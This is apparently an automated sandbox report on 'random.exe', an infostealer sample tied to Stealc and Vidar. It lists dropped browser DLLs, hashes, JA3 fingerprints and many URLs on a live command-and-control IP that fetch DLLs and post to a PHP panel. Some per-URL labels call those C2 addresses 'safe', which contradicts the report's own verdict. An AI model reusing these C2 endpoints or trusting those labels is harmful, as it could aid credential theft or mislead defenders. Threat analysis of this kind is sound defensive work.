random.exe	100%	Avira	TR/Crypt.TPM.Gen

Dropped Files

Source	Detection	Scanner
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label
http://45.93.20.28/85a1cacf11314eb8.phpera	0%	Avira URL Cloud	safe
http://45.93.20.28/c66c0eade263c9a8/msvcp140.dllM	0%	Avira URL Cloud	safe
http://45.93.20.28/	0%	Avira URL Cloud	safe
http://45.93.20.28/c66c0eade263c9a8/nss3.dllppData	0%	Avira URL Cloud	safe
http://45.93.20.28/85a1cacf11314eb8.phpoin	0%	Avira URL Cloud	safe
http://45.93.20.28	0%	Avira URL Cloud	safe
http://45.93.20.28/85a1cacf11314eb8.phpH	0%	Avira URL Cloud	safe
http://45.93.20.28/85a1cacf11314eb8.php=	0%	Avira URL Cloud	safe
http://45.93.20.28/85a1cacf11314eb8.php2	0%	Avira URL Cloud	safe
http://45.93.20.28/85a1cacf11314eb8.phpD	0%	Avira URL Cloud	safe
http://45.93.20.28/c66c0eade263c9a8/sqlite3.dllv	0%	Avira URL Cloud	safe
http://45.93.20.28/c66c0eade263c9a8/vcruntime140.dll	0%	Avira URL Cloud	safe
http://45.93.20.28/c66c0eade263c9a8/mozglue.dllH	0%	Avira URL Cloud	safe
http://45.93.20.28/c66c0eade263c9a8/softokn3.dllll	0%	Avira URL Cloud	safe
http://45.93.20.28/c66c0eade263c9a8/nss3.dll.	0%	Avira URL Cloud	safe
http://45.93.20.28/c66c0eade263c9a8/msvcp140.dll.	0%	Avira URL Cloud	safe
http://45.93.20.28/c66c0eade263c9a8/nss3.dll;	0%	Avira URL Cloud	safe
http://45.93.20.28/c66c0eade263c9a8/softokn3.dll.	0%	Avira URL Cloud	safe
http://45.93.20.28/c66c0eade263c9a8/msvcp140.dll	0%	Avira URL Cloud	safe
http://45.93.20.28/85a1cacf11314eb8.phpomic_qt	0%	Avira URL Cloud	safe
http://45.93.20.28/c66c0eade263c9a8/nss3.dllb	0%	Avira URL Cloud	safe
http://45.93.20.28/c66c0eade263c9a8/softokn3.dll;	0%	Avira URL Cloud	safe
http://45.93.20.28/85a1cacf11314eb8.phpnr	0%	Avira URL Cloud	safe
http://45.93.20.28/c66c0eade263c9a8/freebl3.dllY	0%	Avira URL Cloud	safe
http://45.93.20.28/85a1cacf11314eb8.phpt	0%	Avira URL Cloud	safe
http://45.93.20.28/85a1cacf11314eb8.php29d0ce2e765e205f4f51b9da1547a851Extension	0%	Avira URL Cloud	safe
http://45.93.20.28ppData	0%	Avira URL Cloud	safe
http://45.93.20.2885a1cacf11314eb8.phpt	0%	Avira URL Cloud	safe
http://45.93.20.28=CE	0%	Avira URL Cloud	safe
http://45.93.20.28/c66c0eade263c9a8/freebl3.dll	0%	Avira URL Cloud	safe
http://45.93.20.28/c66c0eade263c9a8/nss3.dllll2	0%	Avira URL Cloud	safe
http://45.93.20.28/c66c0eade263c9a8/sqlite3.dll	0%	Avira URL Cloud	safe
http://45.93.20.28/c66c0eade263c9a8/nss3.dll	0%	Avira URL Cloud	safe
http://45.93.20.28/c66c0eade263c9a8/softokn3.dll	0%	Avira URL Cloud	safe
http://45.93.20.28/c66c0eade263c9a8/sqlite3.dlli	0%	Avira URL Cloud	safe
http://45.93.20.28/85a1cacf11314eb8.phpS	0%	Avira URL Cloud	safe
http://45.93.20.28/c66c0eade263c9a8/mozglue.dll	0%	Avira URL Cloud	safe
http://45.93.20.28/85a1cacf11314eb8.php	0%	Avira URL Cloud	safe
http://45.93.20.28/85a1cacf11314eb8.phpi	0%	Avira URL Cloud	safe
http://45.93.20.28/c66c0eade263c9a8/nss3.dllll	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
plus.l.google.com	142.250.186.46	true	false	high
play.google.com	142.250.186.110	true	false	high
www.google.com	216.58.206.68	true	false	high
apis.google.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://45.93.20.28/	true	Avira URL Cloud: safe	unknown
http://45.93.20.28/c66c0eade263c9a8/vcruntime140.dll	true	Avira URL Cloud: safe	unknown
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false		high
http://45.93.20.28/c66c0eade263c9a8/msvcp140.dll	true	Avira URL Cloud: safe	unknown
https://www.google.com/async/newtab_promos	false		high
http://45.93.20.28/c66c0eade263c9a8/freebl3.dll	true	Avira URL Cloud: safe	unknown
https://play.google.com/log?format=json&hasfast=true	false		high
https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw	false		high
http://45.93.20.28/c66c0eade263c9a8/nss3.dll	true	Avira URL Cloud: safe	unknown
http://45.93.20.28/c66c0eade263c9a8/sqlite3.dll	true	Avira URL Cloud: safe	unknown
http://45.93.20.28/c66c0eade263c9a8/softokn3.dll	true	Avira URL Cloud: safe	unknown
https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.uiLLJjqnhCQ.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/rs=AHpOoo8NP2y291iiPDmfAN0GV3dvCuqlYA/cb=gapi.loaded_0	false		high
http://45.93.20.28/85a1cacf11314eb8.php	true	Avira URL Cloud: safe	unknown
http://45.93.20.28/c66c0eade263c9a8/mozglue.dll	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://45.93.20.28/85a1cacf11314eb8.php=	random.exe, 00000000.00000002.2562046640.0000000001169000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/chrome_newtab	random.exe, 00000000.00000002.2562046640.00000000011CA000.00000004.00000020.00020000.00000000.sdmp, EBAEBFII.0.dr	false		high
https://duckduckgo.com/ac/?q=	random.exe, 00000000.00000002.2562046640.00000000011CA000.00000004.00000020.00020000.00000000.sdmp, EBAEBFII.0.dr	false		high
http://www.broofa.com	chromecache_93.4.dr	false		high
http://45.93.20.28/85a1cacf11314eb8.php2	random.exe, 00000000.00000002.2562046640.0000000001169000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://45.93.20.28/85a1cacf11314eb8.phpera	random.exe, 00000000.00000002.2562046640.0000000001185000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://45.93.20.28/85a1cacf11314eb8.phpoin	random.exe, 00000000.00000002.2562046640.0000000001185000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	random.exe, 00000000.00000002.2562046640.00000000011CA000.00000004.00000020.00020000.00000000.sdmp, EBAEBFII.0.dr	false		high
http://45.93.20.28/85a1cacf11314eb8.phpH	random.exe, 00000000.00000002.2562046640.0000000001169000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://45.93.20.28	random.exe, 00000000.00000002.2561302948.0000000000184000.00000040.00000001.01000000.00000003.sdmp, random.exe, 00000000.00000002.2562046640.000000000110E000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000002.2561302948.00000000001CC000.00000040.00000001.01000000.00000003.sdmp, random.exe, 00000000.00000002.2562046640.0000000001155000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://45.93.20.28/c66c0eade263c9a8/msvcp140.dllM	random.exe, 00000000.00000002.2562046640.0000000001169000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg	random.exe, 00000000.00000002.2566040712.000000000B901000.00000004.00000020.00020000.00000000.sdmp, AEBAKJDGHIIJJKFHCFCA.0.dr	false		high
http://45.93.20.28/85a1cacf11314eb8.phpD	random.exe, 00000000.00000002.2562046640.0000000001169000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1	chromecache_96.4.dr	false		high
http://45.93.20.28/c66c0eade263c9a8/nss3.dllppData	random.exe, 00000000.00000002.2562046640.0000000001185000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://45.93.20.28/c66c0eade263c9a8/sqlite3.dllv	random.exe, 00000000.00000002.2562046640.0000000001155000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://45.93.20.28/c66c0eade263c9a8/softokn3.dllll	random.exe, 00000000.00000002.2562046640.0000000001169000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://45.93.20.28/c66c0eade263c9a8/mozglue.dllH	random.exe, 00000000.00000002.2562046640.00000000011CA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	random.exe, 00000000.00000002.2562046640.00000000011CA000.00000004.00000020.00020000.00000000.sdmp, EBAEBFII.0.dr	false		high
http://45.93.20.28/c66c0eade263c9a8/nss3.dll;	random.exe, 00000000.00000002.2562046640.00000000011CA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://apis.google.com	chromecache_96.4.dr, chromecache_93.4.dr	false		high
http://45.93.20.28/c66c0eade263c9a8/softokn3.dll.	random.exe, 00000000.00000002.2562046640.0000000001169000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://45.93.20.28/c66c0eade263c9a8/nss3.dll.	random.exe, 00000000.00000002.2562046640.00000000011CA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://45.93.20.28/c66c0eade263c9a8/msvcp140.dll.	random.exe, 00000000.00000002.2562046640.0000000001169000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://45.93.20.28/85a1cacf11314eb8.phpomic_qt	random.exe, 00000000.00000002.2562046640.0000000001185000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://domains.google.com/suggest/flow	chromecache_96.4.dr	false		high
http://www.sqlite.org/copyright.html.	random.exe, 00000000.00000002.2569184059.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, random.exe, 00000000.00000002.2563614918.000000000593F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.mozilla.com/en-US/blocklist/	random.exe, random.exe, 00000000.00000002.2569394854.000000006C93D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false		high
http://45.93.20.28/c66c0eade263c9a8/nss3.dllb	random.exe, 00000000.00000002.2562046640.00000000011CA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://45.93.20.28/c66c0eade263c9a8/softokn3.dll;	random.exe, 00000000.00000002.2562046640.0000000001169000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://45.93.20.28/85a1cacf11314eb8.phpnr	random.exe, 00000000.00000002.2562046640.000000000110E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	random.exe, 00000000.00000002.2562046640.00000000011CA000.00000004.00000020.00020000.00000000.sdmp, EBAEBFII.0.dr	false		high
http://45.93.20.28ppData	random.exe, 00000000.00000002.2561302948.0000000000184000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
http://45.93.20.28/c66c0eade263c9a8/freebl3.dllY	random.exe, 00000000.00000002.2562046640.00000000011CA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.	random.exe, 00000000.00000002.2566040712.000000000B901000.00000004.00000020.00020000.00000000.sdmp, AEBAKJDGHIIJJKFHCFCA.0.dr	false		high
http://45.93.20.28/85a1cacf11314eb8.phpt	random.exe, 00000000.00000002.2561302948.0000000000184000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
http://45.93.20.2885a1cacf11314eb8.phpt	random.exe, 00000000.00000002.2561302948.00000000001CC000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	AEBAKJDGHIIJJKFHCFCA.0.dr	false		high
http://45.93.20.28/85a1cacf11314eb8.php29d0ce2e765e205f4f51b9da1547a851Extension	random.exe, 00000000.00000002.2561302948.00000000001CC000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	random.exe, 00000000.00000002.2562046640.00000000011CA000.00000004.00000020.00020000.00000000.sdmp, EBAEBFII.0.dr	false		high
https://www.ecosia.org/newtab/	random.exe, 00000000.00000002.2562046640.00000000011CA000.00000004.00000020.00020000.00000000.sdmp, EBAEBFII.0.dr	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	FCGIJDBAFCBAAKECGDGCBKFIDG.0.dr	false		high
https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_	random.exe, 00000000.00000002.2566040712.000000000B901000.00000004.00000020.00020000.00000000.sdmp, AEBAKJDGHIIJJKFHCFCA.0.dr	false		high
http://45.93.20.28=CE	random.exe, 00000000.00000002.2562046640.000000000110E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://45.93.20.28/c66c0eade263c9a8/nss3.dllll2	random.exe, 00000000.00000002.2562046640.00000000011CA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://plus.google.com	chromecache_96.4.dr	false		high
https://ac.ecosia.org/autocomplete?q=	random.exe, 00000000.00000002.2562046640.00000000011CA000.00000004.00000020.00020000.00000000.sdmp, EBAEBFII.0.dr	false		high
http://45.93.20.28/c66c0eade263c9a8/sqlite3.dlli	random.exe, 00000000.00000002.2562046640.0000000001155000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt	FCGIJDBAFCBAAKECGDGCBKFIDG.0.dr	false		high
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	random.exe, 00000000.00000002.2566040712.000000000B901000.00000004.00000020.00020000.00000000.sdmp, AEBAKJDGHIIJJKFHCFCA.0.dr	false		high
http://45.93.20.28/85a1cacf11314eb8.phpS	random.exe, 00000000.00000002.2562046640.0000000001169000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3	random.exe, 00000000.00000002.2566040712.000000000B901000.00000004.00000020.00020000.00000000.sdmp, AEBAKJDGHIIJJKFHCFCA.0.dr	false		high
http://45.93.20.28/85a1cacf11314eb8.phpi	random.exe, 00000000.00000002.2562046640.0000000001169000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org	FCGIJDBAFCBAAKECGDGCBKFIDG.0.dr	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	random.exe, 00000000.00000002.2562046640.00000000011CA000.00000004.00000020.00020000.00000000.sdmp, EBAEBFII.0.dr	false		high
http://45.93.20.28/c66c0eade263c9a8/nss3.dllll	random.exe, 00000000.00000002.2562046640.00000000011CA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta	random.exe, 00000000.00000002.2566040712.000000000B901000.00000004.00000020.00020000.00000000.sdmp, AEBAKJDGHIIJJKFHCFCA.0.dr	false		high
https://clients6.google.com	chromecache_96.4.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.186.46	plus.l.google.com	United States	15169	GOOGLEUS	false
45.93.20.28	unknown	Netherlands	174	COGENT-174US	true
216.58.206.68	www.google.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
142.250.186.110	play.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.6
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1627181
Start date and time:	2025-03-01 16:01:20 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 47s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	12
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	random.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@32/50@6/7
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.185.99, 172.217.18.14, 74.125.133.84, 142.250.186.78, 142.250.186.67, 142.250.185.170, 142.250.181.234, 142.250.185.234, 142.250.184.202, 142.250.186.170, 216.58.206.74, 142.250.186.138, 216.58.206.42, 142.250.184.234, 216.58.212.170, 142.250.186.42, 142.250.186.74, 142.250.185.138, 142.250.186.106, 142.250.185.202, 172.217.16.202, 172.217.16.206, 216.58.212.138, 142.250.185.74, 172.217.18.10, 172.217.16.138, 172.217.23.106, 142.250.185.106, 2.23.77.188, 199.232.214.172, 23.60.201.147, 199.232.210.172, 13.107.246.67, 23.199.214.10, 20.109.210.53
Excluded domains from analysis (whitelisted): client.wns.windows.com, fs.microsoft.com, accounts.google.com, otelrules.azureedge.net, slscr.update.microsoft.com, tile-service.weather.microsoft.com, ctldl.windowsupdate.com, clientservices.googleapis.com, ogads-pa.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, redirector.gvt1.com, clients.l.google.com, www.gstatic.com, optimizationguide-pa.googleapis.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
10:02:45	API Interceptor	39x Sleep call for process: random.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
239.255.255.250	http://marketbestoffer.top	Get hash	malicious	Unknown	Browse
	brinkmanship-mlw.ps1	Get hash	malicious	Vidar	Browse
	https://scribehow.com/page/Request_for_Proposal_RFP__qJcfOklYQRy3AAQjXCM51w	Get hash	malicious	Invisible JS	Browse
	Play_Now.html	Get hash	malicious	Invisible JS	Browse
	http://coxgcs.com/closing	Get hash	malicious	HTMLPhisher, Invisible JS	Browse
	Partnership Proposal + New Opportunity for more successful closing.pdf	Get hash	malicious	HTMLPhisher, Invisible JS	Browse
	https://lf.jecterhant.ru/4st6	Get hash	malicious	Unknown	Browse
	https://scribehow.com/page/Request_for_Proposal_RFP__yIaceH0VTIuacye3F2A74A	Get hash	malicious	HTMLPhisher, Invisible JS	Browse
	Play_VM-Now(Cwoods)ATTT0003.html	Get hash	malicious	Unknown	Browse
	http://pikmykid.com	Get hash	malicious	Unknown	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
COGENT-174US	Revise Invoice to Euro Currency.exe	Get hash	malicious	FormBook	Browse	38.11.157.207
	owari.mips.elf	Get hash	malicious	Unknown	Browse	38.161.13.45
	owari.arm.elf	Get hash	malicious	Unknown	Browse	38.211.154.6
	owari.ppc.elf	Get hash	malicious	Unknown	Browse	154.21.136.173
	owari.spc.elf	Get hash	malicious	Unknown	Browse	167.141.166.190
	res.arm.elf	Get hash	malicious	Mirai	Browse	149.33.83.157
	res.sh4.elf	Get hash	malicious	Mirai	Browse	206.235.235.138
	res.mpsl.elf	Get hash	malicious	Mirai	Browse	154.60.6.233
	SecuriteInfo.com.HEUR.Backdoor.Win32.Lotok.gen.21501.6048.dll	Get hash	malicious	Unknown	Browse	38.46.10.90
	SecuriteInfo.com.HEUR.Backdoor.Win32.Lotok.gen.21501.6048.dll	Get hash	malicious	Unknown	Browse	38.46.10.90

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
1138de370e523e824bbca92d049a3777	givemebestgoodthingstobe.hta	Get hash	malicious	Cobalt Strike, AgentTesla	Browse	173.222.162.64
	Play_VM-Now(Cwoods)ATTT0003.html	Get hash	malicious	Unknown	Browse	173.222.162.64
	VRChat_ERP_Setup 1.0.0.msi	Get hash	malicious	Unknown	Browse	173.222.162.64
	https://docs.google.com/presentation/d/e/2PACX-1vQDFvWzUegFF27kLm5XiMxmiI_vw0w_W8F17ZhKqfyGz6sZuahycGusFvtZx15hlyXa4-uozDAa4BDT/pub?start=false&loop=false&delayms=3000	Get hash	malicious	HTMLPhisher	Browse	173.222.162.64
	0ajhlLnYRI.exe	Get hash	malicious	PureLog Stealer, Vidar, zgRAT	Browse	173.222.162.64
	22835271_5115055035.img.exe	Get hash	malicious	Unknown	Browse	173.222.162.64
	185.7.214.211.ps1	Get hash	malicious	XWorm	Browse	173.222.162.64
	185.7.214_1.211.cmd	Get hash	malicious	XWorm	Browse	173.222.162.64
	https://u42967210.ct.sendgrid.net/ls/click?upn=u001.kZ3VrOvxoKOta22LxUHjFmq4ISpJ5yQNkTKToAXzzfy9isASfSxfrOutIDeoeLu5XKHOlSR6Duyz-2Bsu0ANU3ptW4Wc2qXDl3RqsREPYWDeN-2FkUUEGQiyRB6zpHpwbARAlhsD_IuK3h6rbk3BV-2Ff4Z9WzNWpH-2BgYiRKGf6vsq-2F-2BAbnaHISRM0R5poOk5iSTTP8dkAWlDB7gAp3fH9Vx3wZDFvUhxSxlm3VLiz-2BECM2aAFhmUtm5vD1dcxmlnWwrXgy1MGG2GrD4tkahCPjnHe-2FAqkOU6IvYfvXlVlQiySiNdBuum6sF9rZLtBXrz7eRZJquRXhGLHAmxolpV3TE6kRXduct7hb-2FBm9HxP7i13kXqV45-2FU-3D	Get hash	malicious	Unknown	Browse	173.222.162.64
	https://vmi2485048.contaboserver.net/?_task=mail&_action=get&_mbox=INBOX&_uid=90827&_token=7a1b67404317544dd9a902c45e5c50a0cb5a1cccf98cbab8dfd18c850f686405&_part=0.9.4&_embed=1&_mimeclass=image	Get hash	malicious	HTMLPhisher	Browse	173.222.162.64
3b5074b1b5d032e5620f69f9f700ff0e	givemebestgoodthingstobe.hta	Get hash	malicious	Cobalt Strike, AgentTesla	Browse	40.113.110.67 40.115.3.253
	aStydH147n.exe	Get hash	malicious	Strela Stealer	Browse	40.113.110.67 40.115.3.253
	Pedido - 450065456-56545339.pdf.exe	Get hash	malicious	DarkCloud	Browse	40.113.110.67 40.115.3.253
	Update.Client.exe	Get hash	malicious	ScreenConnect Tool	Browse	40.113.110.67 40.115.3.253
	Update.Client.exe	Get hash	malicious	ScreenConnect Tool	Browse	40.113.110.67 40.115.3.253
	SecuriteInfo.com.Program.Unwanted.5412.9490.22321.exe	Get hash	malicious	PureLog Stealer, zgRAT	Browse	40.113.110.67 40.115.3.253
	SecuriteInfo.com.Program.Unwanted.5412.9490.22321.exe	Get hash	malicious	PureLog Stealer, zgRAT	Browse	40.113.110.67 40.115.3.253
	powergem.mp3.hta	Get hash	malicious	LummaC Stealer	Browse	40.113.110.67 40.115.3.253
	rtrackingresult.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	40.113.110.67 40.115.3.253
	soft.exe	Get hash	malicious	GCleaner, LummaC Stealer, Socks5Systemz	Browse	40.113.110.67 40.115.3.253

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	Anv6Gbh51e.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse
	random.exe	Get hash	malicious	Stealc, Vidar	Browse
	0vsAIy0DhJ.exe	Get hash	malicious	Stealc, Vidar	Browse
	YiDSeLPwIg.exe	Get hash	malicious	Stealc, Vidar	Browse
	SecuriteInfo.com.Win32.PWSX-gen.26918.12600.exe	Get hash	malicious	Stealc, Vidar	Browse
	random.exe	Get hash	malicious	Amadey, LummaC Stealer, Poverty Stealer, Quasar, Stealc, Vidar, XenoRAT	Browse
	random.exe	Get hash	malicious	Stealc, Vidar	Browse
	px4Y74kUj2.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	Q66K8mu6TN.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse
	random.exe	Get hash	malicious	Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AEBAKJDGHIIJJKFHCFCA

Download File

Process:	C:\Users\user\Desktop\random.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	10237
Entropy (8bit):	5.498288591230544
Encrypted:	false
SSDEEP:	192:/nTFTRRFYbBp6SLZNMGaXU6qU4rzy+/3/OYiNBw8D7Sl:LreDFNMroyrdw60
MD5:	0F58C61DE9618A1B53735181E43EE166
SHA1:	CC45931CF12AF92935A84C2A015786CC810AEC3A
SHA-256:	AE9C3109DD23F391DC58C564080932100F55C8E674176D7911D54FB0D3417AE0
SHA-512:	DEA527C22D4AA607B00FBBCC1CDD9C6B69E92EC3B1B14649A086E87258AAD5C280BFB2835C165176E8759F575AA39D1B58E25CB40F60C7E88D94243A874B71BE
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\EBAEBFII

Download File

Process:	C:\Users\user\Desktop\random.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
